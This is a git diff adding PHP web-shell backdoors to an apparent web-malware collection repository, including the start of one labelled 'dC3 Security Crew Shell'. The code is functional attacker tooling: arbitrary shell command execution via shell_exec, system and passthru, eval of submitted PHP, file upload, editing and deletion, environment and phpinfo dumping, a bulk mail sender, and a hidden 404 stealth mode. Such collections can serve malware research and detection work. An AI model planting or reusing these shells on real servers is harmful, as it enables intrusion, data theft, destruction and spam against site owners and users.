rules=\"groups\"> + <thead><br> + <tr><td>"; +echo getenv($_GET['getenv']); +exit; +} + + +if (isset($_GET['php_info'])) { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + <thead><br> + <tr><td>"; +phpinfo(); +exit; +} + +if (isset($_GET['defined_vars'])) { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + <thead><br> + <tr><td>"; +echo "<center><textarea rows=40 cols=120>"; +$vars=get_defined_vars(); +print_r($vars); +echo "</textarea>"; + +exit; +} + +if (isset($_GET['env'])) { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + + <thead><br> + <tr><td>"; +$ary=get_defined_vars(); +$it=array_keys($ary); +foreach ($it as $i) { +echo "<a href=".$surl."?&".$word."&getenv=".$i.">".$i."</a><br>"; + +} +exit; +} + +if (isset($_GET['play'])) { +echo "<embed src=".urlencode($filename)." autostart=true loop=true hidden=true height=0 width=0>"; +exit; +} + + +if (isset($_GET['special_crypt'])) { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + <thead><br> + <tr><td>"; +echo "<textarea rows=15 cols=90>"; +if (isset($_POST['submit'])) { +$file=@fopen($_FILES['userfile']['tmp_name'],"r") or die ("[-]Error reading file!"); +$meth=$_POST['crypt']; +if ($meth=="1") { +echo htmlspecialchars(md5(fread($file,10000))); + } elseif ($meth=="2") { + echo htmlspecialchars(crypt(fread($file,10000))); +} + elseif ($meth=="3") { + echo htmlspecialchars(sha1(fread($file,10000))); + } +elseif ($meth=="4") { + echo htmlspecialchars(crc32(fread($file,10000))); +} + elseif ($meth=="5") { + echo htmlspecialchars(urlencode(fread($file,10000))); +} + + elseif ($meth=="6") { + echo htmlspecialchars(urldecode(fread($file,10000))); +} + elseif ($meth=="7") { + echo htmlspecialchars(base64_encode(fread($file,10000))); +} + +elseif ($meth=="8") { + echo htmlspecialchars(base64_decode(fread($file,10000))); +} + +} +echo "</textarea><div align=left>"; + +?> +<form enctype="multipart/form-data" action=<?php echo $surl ?>&<?php echo $word ?>&special_crypt method="post"> +file: <input name="userfile" type="file"><br><br> + +<input type="submit" value="Start" name="submit"><br> +<input type=radio name=crypt value=1>md5();<br> +<input type=radio name=crypt value=2>crypt();<br> +<input type=radio name=crypt value=3>sha1();<br> +<input type=radio name=crypt value=4>crc32();<br> +<input type=radio name=crypt value=5>urlencode();<br> +<input type=radio name=crypt value=6>urldecode();<br> +<input type=radio name=crypt value=7>base64_encode();<br> +<input type=radio name=crypt value=5>base64_decode();<br> + +<?php +exit; +} +if (isset($_GET['crypt'])) { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + <thead><br> + <tr><td>"; +?> +<form action=<?php echo $surl ?>?&<?php echo $word ?>&crypt method="post"> +Crypt:<br> +<textarea rows=12 cols=120 name=crypt> +</textarea> +<?php +$text=$_POST['crypt']; +?> +md5:&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;<input size=40 type=text value=<?php echo htmlspecialchars(md5($text)) ?>><br><br> + +crypt:&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;<input size=40 type=text value=<?php echo htmlspecialchars(crypt($text)) ?>><br><br> + +sha1:&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;<input size=40 type=text value=<?php echo htmlspecialchars(sha1($text)) ?>><br><br> + +crc32:&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;<input size=40 type=text value=<?php echo htmlspecialchars(crc32($text)) ?>><br><br> + +urlencode:&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;<input size=40 type=text value=<?php echo htmlspecialchars(urlencode($text)) ?>><br><br> + +urldecode:&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;<input size=40 type=text value=<?php echo htmlspecialchars(urldecode($text)) ?>><br><br> + +base64_encode:&ensp;<input type=text size=40 value=<?php echo base64_encode($text) ?>><br><br> + +base64_decode:&ensp;<input type=text size=40 value=<?php echo base64_decode($text) ?>><br><br> +<?php +echo "<input type=submit value=Start></form><form action=".$surl."?&".$word."&special_crypt method=post><input type=submit value=file_inload_crypt>"; +exit; +} + +if (isset($_GET['php_code'])) { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + <thead><br> + <tr><td>"; +?> +<form action=<?php echo $surl ?>&<?php echo $word ?>&php_code method="post"> + +<textarea rows=12 cols=120 name=code> +</textarea> +<textarea rows=12 cols=120 readonly> +<?php +eval($_POST['code']); +echo "</textarea>"; +echo "<br><br><input type=submit value=Start>"; +exit; +} + +if (isset($_GET['search_st'])) { + if (isset($_POST['search'])) { +search_file($_POST['search'],$_POST['dir']); + } +exit; +} + + +if (isset($_GET['rename_all'])) { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + <thead><br> + <tr><td>"; +rename_all(urldecode($_POST['d']),$_POST['prefix'],$_POST['name'],$_POST['del']); +exit; +} + +if (isset($_GET['special_d'])) { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + <thead><br> + <tr><td>"; + $way=$_POST['way']; + if ($way=="1") { +clear_dir($_GET['file']); + exit; + } + if ($way=="2") { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + <thead><br> + + <tr><td>"; +?> +<form action=<?php echo $surl ?>?&<?php echo $word ?>&rename_all method="post"> +Prefix:<br><input type="text" name="prefix"><br> +Name:<br><input type="text" name="name"><br> +<input type="hidden" name="d" value=<?php echo urlencode($filename) ?>> +Delete old files?:<input type="radio" name="del" value="yes"><br> +<br><input type="submit" value="Rename"> +<?php +exit; +} +} + + +if (isset($_GET['special_dir'])) { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + <thead><br> + <tr><td>"; +?> + +<form action=<?php echo $surl ?>?&<?php echo $word ?>&special_d&file=<?php echo urlencode($filename) ?> method=post> +<input type="radio" name="way" value="1">Clear Dir<input type=hidden name=dir value=<?php echo urlencode($filename) ?>><br><br> +<input type="radio" name="way" value="2">Rename with prefix<br><br> +<input type="submit" name="sub" value="Start"> +<?php +exit; +} + +if (isset($_GET['delete'])) { + if (@file_exists($filename)) { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + <thead> + <tr><td>"; + @unlink($filename) or die ("[-]Error deleting file!"); + echo "Successfully Deleted File!"; + exit; + } +} + +if (isset($_GET['save'])) { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + + <thead> + <tr><td>"; + write_file(urldecode($_POST['file']),stripslashes($_POST['text'])); + + exit; +} + +if (isset($_GET['exec'])) { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + <thead> + <tr><td><center>"; +@chdir(urldecode($_POST['dir'])); +echo "<textarea rows=15 cols=114>"; +echo shell_exec($_POST['command']); +echo "</textarea>"; +exit; +} + + +if (isset($_GET['mkdir'])) { + if (isset($_POST['name'])) { +echo "<center><table border=\"1\" rules=\"groups\"> + <thead> + <tr><td>"; + mkdir(urldecode($_POST['dir'])."/".$_POST['name']) or die ("[-]Error creating dir!"); + echo "Successfully created dir!"; + } +exit; +} + +if (isset($_GET['mkfile'])) { + if (isset($_POST['name'])) { +echo "<center><table border=\"1\" rules=\"groups\"> + + <thead> + <tr><td>"; +$dir=urldecode($_POST['dir']); +$filed=$_POST['name']; + + if (@file_exists($dir."/".$filed)) { + echo "[-]Allready exists!"; + exit; + } + $file_c=@fopen($dir."/".$filed,"w") or die ("[-]Can't create file!"); + echo "Scuessfully created file(s)!"; + } +exit; +} + +if (isset($_GET['edit'])) { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + <thead> + <tr><td>"; + if (@file_exists($filename)) { + echo "<form action=".$surl."?&".$word."&save method=post><textarea rows=15 cols=90 name=text>"; + read_file($filename); + echo "</textarea><br><br><input type=hidden name=file value=".urlencode($_GET['file'])."><input type=submit name=sub value=Save>"; + } + exit; +} + + + +if (isset($_GET['copy_start'])) { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + <thead> + <tr><td>"; +copy_file($_POST['from'],$_POST['to']); +exit; +} + + + +if (isset($_GET['copy_file'])) { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + + <thead> + <tr><td>"; +?> +<form action=<?php echo $surl ?>?&<?php echo $word ?>&copy_start method="post"> +New:<br><textarea rows=4 cols=70 name="to"><?php echo realpath($filename) ?></textarea><br><br> +Old:<br><textarea rows=4 cols=70 name="from"><?php echo realpath($filename) ?></textarea><br><br> +<input type="submit" name="sub" value="Copy"> +<?php +exit; +} + +if (isset($_GET['send_mail_st'])) { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + <thead> + + <tr><td>"; +if (isset($_POST['from'])) +{ +if (isset($_POST['to'])) +{ +if (isset($_POST['text'])) +{ +if (isset($_POST['subject'])) +{ +if (isset($_POST['times'])) +{ +send_mail($_POST['from'],$_POST['to'],$_POST['text'],$_POST['subject'],$_POST['times']) ; +exit; +} +} +} +} +} +} +if (isset($_GET['send_mail'])) { +echo "<center><table border=\"1\" width=600 rules=\"groups\"> + <thead> + <tr><td>"; +?> +<form action=<?php echo $surl ?>?&<?php echo $word ?>&send_mail_st method="post"> +From:&ensp;&ensp;&ensp;&ensp;<input type="text" name="from"><br><br> +To:&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;<input type="text" name="to"><br><br> +Subject:&ensp;&ensp;<input type="text" name="subject"><br><br> +Times:&ensp;&ensp;&ensp;<input type="text" name="times"><br><br> + +Text:<br><textarea rows=15 cols=60 name="text"></textarea><br><br> +<input type="submit" name="sub" value="Send!"> +<?php +exit; +} +if (isset($_GET['file_browser'])) { + + for ($i=0;$i<4;$i++) { + if (preg_match("/".$file_tps["img"][$i]."/i",$extn)) { +echo "<center><table border=\"1\" rules=\"groups\"> + <thead> + <tr><td>"; + echo "<a href=".$surl."?&".$word."&file_browser&file=".urlencode($filename)."&img><img src='".urldecode($surl)."?&".$word."&file=".urldecode($filename)."&img' height= width= border=0><br>"; + exit; +} } + + + +if (@filetype($j_f)=="file") { +echo "<center><table border=\"1\" rules=\"groups\" + <thead> + <tr><td>"; +highlight_file($j_f); + +exit; +} +echo "<center><table border=\"1\" rules=\"groups\"> + <thead> + <tr> + + <th></th><td>"; +count_all($j_d); +echo "</tr>"; +echo "<center><table border=\"1\" rules=\"groups\"> + <thead> + <tr> + <th>Filename</th><th>Edit</th><th>Copy</th><th>Download</th><th>Delete<th>Perms</th><th>Access</th> "; + + + + +$o_d=opendir($j_d); + + + + while (false !== ($file = readdir($o_d))) { + echo " <tbody> + + <tr> + <td>"; +if (@filetype($j_d."/".$file)=="dir") { +echo "</a><img src=".$surl."?&".$word."&dir&pic=dir height=12 width=><a href=".$surl."&".$word."&&file_browser&file=".urlencode($j_d)."/".urlencode($file).">[".$file."]"; +} else { +echo "<img src=".$surl."?&".$word."&dir&pic=ext_wri height=9 width=><a href=".$surl."&".$word."&&file_browser&file=".urlencode($j_d)."/".urlencode($file).">"; +echo $file; +} +echo "<br></a></td><td><a href=".$surl."&".$word."&edit&file_browser&file=".urlencode($j_d)."/".urlencode($file).">"; +if (@filetype($j_d."/".$file)=="file") { +echo "<center>[Edit]"; +} +else { +echo "</a><center>[-]"; +} +echo "</a></td><td><a href=".$surl."&".$word."&copy_file&file_browser&file=".urlencode($j_d)."/".urlencode($file).">"; +if (@filetype($j_d."/".$file)=="file") { +echo "<center>[Copy]"; +} else { +echo "</a><center>[-]"; +} +echo "</a></td><td><a href=".$surl."&".$word."&download&file_browser&file=".urlencode($j_d)."/".urlencode($file).">"; +if (@filetype($j_d."/".$file)=="file") { +echo "<center>[Download]"; +} else { +echo "</a><center>[-]"; +} +echo "</a></td><td><a href=".$surl."&".$word."&delete&file_browser&file=".urlencode($j_d)."/".urlencode($file).">"; +if (@filetype($j_d."/".$file)=="file") { +echo "<center>[Delete]"; +} else { +echo "</a><center><a href=".$surl."&".$word."&rmdir&file_browser&file=".urlencode($j_d)."/".urlencode($file).">[Delete]</a>"; +} +echo "<td><center>"; +echo @fileowner($j_f."/".$file); +echo "</td>"; +echo "<td><center>"; +get_perms(fileperms($j_f."/".$file)); +echo "</td>"; +echo "</a></td>"; + } +echo "<center><table width=360 height=40 border=\"1\" rules=\"groups\"> + + <thead> + <tr> + <th></th><td>"; +?> +<form enctype="multipart/form-data" action=<?php echo $surl ?>&<?php echo $word ?>&upload method="post"> +file: &ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;<input name="userfile" type="file"> +<input type="hidden" name="file" value=<?php echo urlencode($_GET['file']) ?>> +<input type="submit" value="Upload"><br><br><?php +if (@is_writable($j_d)) { +echo "<font color=green>[Ok]</font>"; + } else { +echo "<font color=red>[No]</font>"; + } +?> +</form> + +<?php +echo "</td><center><table width=360 height=40 border=\"1\" rules=\"groups\"> + <thead> + <tr> + <th></th><td>"; +?> +<form action=<?php echo $surl ?>&<?php echo $word ?>&search method="post"> +search: &ensp;&ensp;&ensp;&ensp;<input name="search" type="text"> +<input type="hidden" name="dir" value=<?php echo urlencode($_GET['file']) ?>> +&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;<input type="submit" value="Search"> +</form> +<?php + +echo "</td><center><table width=360 height=40 border=\"1\" rules=\"groups\"> + <thead> + + <tr> + <th></th><td>"; +?> +<form action=<?php echo $surl ?>?&<?php echo $word ?>&mkdir method="post"> +name: &ensp;&ensp;&ensp;&ensp;&ensp;<input name="name" type="text"> +<input type="hidden" name="dir" value=<?php echo urlencode($_GET['file']) ?>> +&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;<input type="submit" value="mkdir"> +</form> +<?php +if (@is_writable($j_d)) { +echo "<font color=green>[Ok]</font>"; + } else { +echo "<font color=red>[No]</font>"; + } +echo "</td><center><table width=360 height=40 border=\"1\" rules=\"groups\"> + + <thead> + <tr> + <th></th><td>"; +?> +<form action=<?php echo $surl ?>&<?php echo $word ?>&mkfile method="post"> +name:&ensp;&ensp;&ensp;&ensp;&ensp; <input name="name" type="text"> +<input type="hidden" name="dir" value=<?php echo urlencode($_GET['file']) ?>> +&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;<input type="submit" value="mkfile"> +</form> +<?php +if (@is_writable($j_d)) { +echo "<font color=green>[Ok]</font>"; + } else { +echo "<font color=red>[No]</font>"; + } +echo "</td><center><table width=360 height=40 border=\"1\" rules=\"groups\"> + + <thead> + <tr> + <th></th><td>"; +?> +<form action=<?php echo $surl ?>&<?php echo $word ?>&exec method="post"> +command: <input name="command" type="text"> +<input type="hidden" name="dir" value=<?php echo urlencode($_GET['file']) ?>> +&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;&ensp;<input type="submit" value="execute"> +</form> +<?php +echo "</td><center><table border=\"1\" rules=\"groups\"> + <thead> + <tr> + + <th></th><td><a href=".$surl."?&".$word."&special_dir&file=".urlencode($filename).">Special DirOptions</a></td> "; +echo "</a>"; +exit; + } +?> + + + +<html> + <ul id="Navigation"> + <li><a href=<?php echo $surl ?>&<?php echo $word ?>&file_browser&file=<?php echo "." ?>>File_Browser</a></li> + <li><a href=<?php echo $surl ?>&<?php echo $word ?>&send_mail>Send Mail(s)</a></li> + + <li><a href=<?php echo $surl ?>&<?php echo $word ?>&php_code>php_code</a></li> + <li><a href=<?php echo $surl ?>&<?php echo $word ?>&crypt>crypter</a></li> + <li><a href=<?php echo $surl ?>&<?php echo $word ?>&php_info>php_info()</a></li> + <li><a href=<?php echo $surl ?>&<?php echo $word ?>&defined_vars>defined_vars()</a></li> + <li><a href=<?php echo $surl ?>&<?php echo $word ?>&env>env()</a></li> + + <li><a href=<?php echo $surl ?>&<?php echo $word ?>&update>update()</a></li> + </ul> +<center><table border="1" rules="groups"> + <thead> + <tr> + <th></th> + <td> +<form action=<?php echo $surl ?>?&<?php echo $word ?>&exec_st method="post"> + +<input type="submit" name="sub" value="Execute"><br> +<br> +<input type="text" name="command"> +<br> +<input type="radio" name="method" value="1">shell_exec(); +<input type="radio" name="method" value="2">system(); +<input type="radio" name="method" value="3">passthru(); +<input type="radio" name="method" value="4">automatic();<br> +<textarea name="exec" rows=15 cols=90> +<?php +if (isset($_GET['exec_st'])) { + $meth=$_POST['method']; + $com=$_POST['command']; + if (isset($meth)) { + if ($meth=="1") { + echo shell_exec($com); + } + elseif($meth=="2") { + echo system($com); + } + elseif ($meth=="3") { + passthru($com); + } + elseif ($meth=="4") { + if (function_exists(shell_exec)) { + echo shell_exec($com); + } + elseif (function_exists(system)) { + echo system($com); + } + elseif (function_exists(passthru)) { + echo passthru($com); + } + else { + echo "[-]Error"; + } + } + } + } +echo "</textarea>"; +exit; +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/dC3.Security.Crew.Shell.priv8.txt b/web-malware-collection-master/Backdoors/PHP/dC3.Security.Crew.Shell.priv8.txt new file mode 100755 index 0000000..e99383d --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/dC3.Security.Crew.Shell.priv8.txt @@ -0,0 +1,1273 @@ +<?PHP +/* +ver=5 +----------------------Only For Priv8 Use--------------------------------- + I dont support illegal actions! +------------------------------------------------------------------------- + dC3 Security Crew +------------------------------------------------------------------------- +By turning "on" safe you can make your shell in 404 Not Find mode if the user doesnt know your OWN set word! +------------------------------------------------------------------------- +Shell written by Bl0od3r +------------------------------------------------------------------------- +Easy file managing with a lot of features! +------------------------------------------------------------------------- +In work: +special file options +------------------------------------------------------------------------- +*/ +//important +error_reporting(5); +@ignore_user_abort(true); +// + +$safe="off"; +$word="secret"; +if ($safe=="on") { +if (!isset($_GET[$word])) { + header('HTTP/1.0 404 Not Found'); + exit; + } + } +$made_by="Bl0od3r"; +$of="Netplayazz"; +($made_by=="Bl0od3r") ? $fake=0 : $fake=1; +($of=="dc3") ? $fake=0 : $fake=1; +$st_dir="."; +$p=str_replace("\\","/",realpath($_GET['file'])); +$j_d=$_GET['file']; +$j_f=$_GET['file']; +$filename = $_GET['file']; +$file_info = pathinfo($filename); +$extn = $file_info['extension']; + + +if (isset($_GET['dir'])) { + $images = array( +"download"=> +"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". +"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", +"ext_wri"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", +"small_dir"=> +"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". +"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", +"dir"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAAkFBMVEX////MmTT/zGezgRvLmDN/ +f3/AjSi6hyK9iiWgbghra2vCjyr/5oGufBbHlC+jcQuwfhiIiIjJljGcagS1gh24hSCebAaZZwGa +aAK0gRzvvFfcqUT4xWC8iSRKSkqreRPCwsK/jCeodhDms06lcw23hB/ToDv/1G//4HvFki3/64X/ +95Fqamr//////5n/9I54UBIWAAAAAXRSTlMAQObYZgAAAAFiS0dELc3aQT0AAAAWdEVYdFNvZnR3 +YXJlAGdpZjJwbmcgMi40LjakM4MXAAAAiUlEQVR42oXOxxKCMBgE4CWhVwEp9i4Ekt/3fzuDE0Yd +D3633dnDAr8su0i/stKi40cmTfnebckXU2GPj8k0U0mui2KIxYu7q1acA2kv1CxWWQ7RWTTbUhAi +YjaNxppqCZcJGowLlRI+O1FvbKiV8FhFnXGnJgT0n+RwvmZBXbbN3tFPHPnm4L8nl3EWVP90I8IA +AAAASUVORK5CYII=", +"o.b" => "/9j/4AAQSkZJRgABAgAAZABkAAD/7AARRHVja3kAAQAEAAAAUAAA/+IMWElDQ19QUk9GSUxFAAEB +AAAMSExpbm8CEAAAbW50clJHQiBYWVogB84AAgAJAAYAMQAAYWNzcE1TRlQAAAAASUVDIHNSR0IA +AAAAAAAAAAAAAAEAAPbWAAEAAAAA0y1IUCAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAARY3BydAAAAVAAAAAzZGVzYwAAAYQAAABsd3RwdAAAAfAAAAAUYmtw +dAAAAgQAAAAUclhZWgAAAhgAAAAUZ1hZWgAAAiwAAAAUYlhZWgAAAkAAAAAUZG1uZAAAAlQAAABw +ZG1kZAAAAsQAAACIdnVlZAAAA0wAAACGdmlldwAAA9QAAAAkbHVtaQAAA/gAAAAUbWVhcwAABAwA +AAAkdGVjaAAABDAAAAAMclRSQwAABDwAAAgMZ1RSQwAABDwAAAgMYlRSQwAABDwAAAgMdGV4dAAA +AABDb3B5cmlnaHQgKGMpIDE5OTggSGV3bGV0dC1QYWNrYXJkIENvbXBhbnkAAGRlc2MAAAAAAAAA +EnNSR0IgSUVDNjE5NjYtMi4xAAAAAAAAAAAAAAASc1JHQiBJRUM2MTk2Ni0yLjEAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFhZWiAAAAAAAADzUQABAAAA +ARbMWFlaIAAAAAAAAAAAAAAAAAAAAABYWVogAAAAAAAAb6IAADj1AAADkFhZWiAAAAAAAABimQAA +t4UAABjaWFlaIAAAAAAAACSgAAAPhAAAts9kZXNjAAAAAAAAABZJRUMgaHR0cDovL3d3dy5pZWMu +Y2gAAAAAAAAAAAAAABZJRUMgaHR0cDovL3d3dy5pZWMuY2gAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZGVzYwAAAAAAAAAuSUVDIDYxOTY2LTIuMSBEZWZhdWx0 +IFJHQiBjb2xvdXIgc3BhY2UgLSBzUkdCAAAAAAAAAAAAAAAuSUVDIDYxOTY2LTIuMSBEZWZhdWx0 +IFJHQiBjb2xvdXIgc3BhY2UgLSBzUkdCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGRlc2MAAAAAAAAA +LFJlZmVyZW5jZSBWaWV3aW5nIENvbmRpdGlvbiBpbiBJRUM2MTk2Ni0yLjEAAAAAAAAAAAAAACxS +ZWZlcmVuY2UgVmlld2luZyBDb25kaXRpb24gaW4gSUVDNjE5NjYtMi4xAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAB2aWV3AAAAAAATpP4AFF8uABDPFAAD7cwABBMLAANcngAAAAFYWVogAAAAAABM +CVYAUAAAAFcf521lYXMAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAKPAAAAAnNpZyAAAAAAQ1JU +IGN1cnYAAAAAAAAEAAAAAAUACgAPABQAGQAeACMAKAAtADIANwA7AEAARQBKAE8AVABZAF4AYwBo +AG0AcgB3AHwAgQCGAIsAkACVAJoAnwCkAKkArgCyALcAvADBAMYAywDQANUA2wDgAOUA6wDwAPYA ++wEBAQcBDQETARkBHwElASsBMgE4AT4BRQFMAVIBWQFgAWcBbgF1AXwBgwGLAZIBmgGhAakBsQG5 +AcEByQHRAdkB4QHpAfIB+gIDAgwCFAIdAiYCLwI4AkECSwJUAl0CZwJxAnoChAKOApgCogKsArYC +wQLLAtUC4ALrAvUDAAMLAxYDIQMtAzgDQwNPA1oDZgNyA34DigOWA6IDrgO6A8cD0wPgA+wD+QQG +BBMEIAQtBDsESARVBGMEcQR+BIwEmgSoBLYExATTBOEE8AT+BQ0FHAUrBToFSQVYBWcFdwWGBZYF +pgW1BcUF1QXlBfYGBgYWBicGNwZIBlkGagZ7BowGnQavBsAG0QbjBvUHBwcZBysHPQdPB2EHdAeG +B5kHrAe/B9IH5Qf4CAsIHwgyCEYIWghuCIIIlgiqCL4I0gjnCPsJEAklCToJTwlkCXkJjwmkCboJ +zwnlCfsKEQonCj0KVApqCoEKmAquCsUK3ArzCwsLIgs5C1ELaQuAC5gLsAvIC+EL+QwSDCoMQwxc +DHUMjgynDMAM2QzzDQ0NJg1ADVoNdA2ODakNww3eDfgOEw4uDkkOZA5/DpsOtg7SDu4PCQ8lD0EP +Xg96D5YPsw/PD+wQCRAmEEMQYRB+EJsQuRDXEPURExExEU8RbRGMEaoRyRHoEgcSJhJFEmQShBKj +EsMS4xMDEyMTQxNjE4MTpBPFE+UUBhQnFEkUahSLFK0UzhTwFRIVNBVWFXgVmxW9FeAWAxYmFkkW +bBaPFrIW1hb6Fx0XQRdlF4kXrhfSF/cYGxhAGGUYihivGNUY+hkgGUUZaxmRGbcZ3RoEGioaURp3 +Gp4axRrsGxQbOxtjG4obshvaHAIcKhxSHHscoxzMHPUdHh1HHXAdmR3DHeweFh5AHmoelB6+Hukf +Ex8+H2kflB+/H+ogFSBBIGwgmCDEIPAhHCFIIXUhoSHOIfsiJyJVIoIiryLdIwojOCNmI5QjwiPw +JB8kTSR8JKsk2iUJJTglaCWXJccl9yYnJlcmhya3JugnGCdJJ3onqyfcKA0oPyhxKKIo1CkGKTgp +aymdKdAqAio1KmgqmyrPKwIrNitpK50r0SwFLDksbiyiLNctDC1BLXYtqy3hLhYuTC6CLrcu7i8k +L1ovkS/HL/4wNTBsMKQw2zESMUoxgjG6MfIyKjJjMpsy1DMNM0YzfzO4M/E0KzRlNJ402DUTNU01 +hzXCNf02NzZyNq426TckN2A3nDfXOBQ4UDiMOMg5BTlCOX85vDn5OjY6dDqyOu87LTtrO6o76Dwn +PGU8pDzjPSI9YT2hPeA+ID5gPqA+4D8hP2E/oj/iQCNAZECmQOdBKUFqQaxB7kIwQnJCtUL3QzpD +fUPARANER0SKRM5FEkVVRZpF3kYiRmdGq0bwRzVHe0fASAVIS0iRSNdJHUljSalJ8Eo3Sn1KxEsM +S1NLmkviTCpMcky6TQJNSk2TTdxOJU5uTrdPAE9JT5NP3VAnUHFQu1EGUVBRm1HmUjFSfFLHUxNT +X1OqU/ZUQlSPVNtVKFV1VcJWD1ZcVqlW91dEV5JX4FgvWH1Yy1kaWWlZuFoHWlZaplr1W0VblVvl +XDVchlzWXSddeF3JXhpebF69Xw9fYV+zYAVgV2CqYPxhT2GiYfViSWKcYvBjQ2OXY+tkQGSUZOll +PWWSZedmPWaSZuhnPWeTZ+loP2iWaOxpQ2maafFqSGqfavdrT2una/9sV2yvbQhtYG25bhJua27E +bx5veG/RcCtwhnDgcTpxlXHwcktypnMBc11zuHQUdHB0zHUodYV14XY+dpt2+HdWd7N4EXhueMx5 +KnmJeed6RnqlewR7Y3vCfCF8gXzhfUF9oX4BfmJ+wn8jf4R/5YBHgKiBCoFrgc2CMIKSgvSDV4O6 +hB2EgITjhUeFq4YOhnKG14c7h5+IBIhpiM6JM4mZif6KZIrKizCLlov8jGOMyo0xjZiN/45mjs6P +No+ekAaQbpDWkT+RqJIRknqS45NNk7aUIJSKlPSVX5XJljSWn5cKl3WX4JhMmLiZJJmQmfyaaJrV +m0Kbr5wcnImc951kndKeQJ6unx2fi5/6oGmg2KFHobaiJqKWowajdqPmpFakx6U4pammGqaLpv2n +bqfgqFKoxKk3qamqHKqPqwKrdavprFys0K1ErbiuLa6hrxavi7AAsHWw6rFgsdayS7LCszizrrQl +tJy1E7WKtgG2ebbwt2i34LhZuNG5SrnCuju6tbsuu6e8IbybvRW9j74KvoS+/796v/XAcMDswWfB +48JfwtvDWMPUxFHEzsVLxcjGRsbDx0HHv8g9yLzJOsm5yjjKt8s2y7bMNcy1zTXNtc42zrbPN8+4 +0DnQutE80b7SP9LB00TTxtRJ1MvVTtXR1lXW2Ndc1+DYZNjo2WzZ8dp22vvbgNwF3IrdEN2W3hze +ot8p36/gNuC94UThzOJT4tvjY+Pr5HPk/OWE5g3mlucf56noMui86Ubp0Opb6uXrcOv77IbtEe2c +7ijutO9A78zwWPDl8XLx//KM8xnzp/Q09ML1UPXe9m32+/eK+Bn4qPk4+cf6V/rn+3f8B/yY/Sn9 +uv5L/tz/bf///+4AJkFkb2JlAGTAAAAAAQMAFQQDBgoNAAARtgAAF0YAABuaAAAgJv/bAIQAAgIC +AgICAgICAgMCAgIDBAMCAgMEBQQEBAQEBQYFBQUFBQUGBgcHCAcHBgkJCgoJCQwMDAwMDAwMDAwM +DAwMDAEDAwMFBAUJBgYJDQsJCw0PDg4ODg8PDAwMDAwPDwwMDAwMDA8MDAwMDAwMDAwMDAwMDAwM 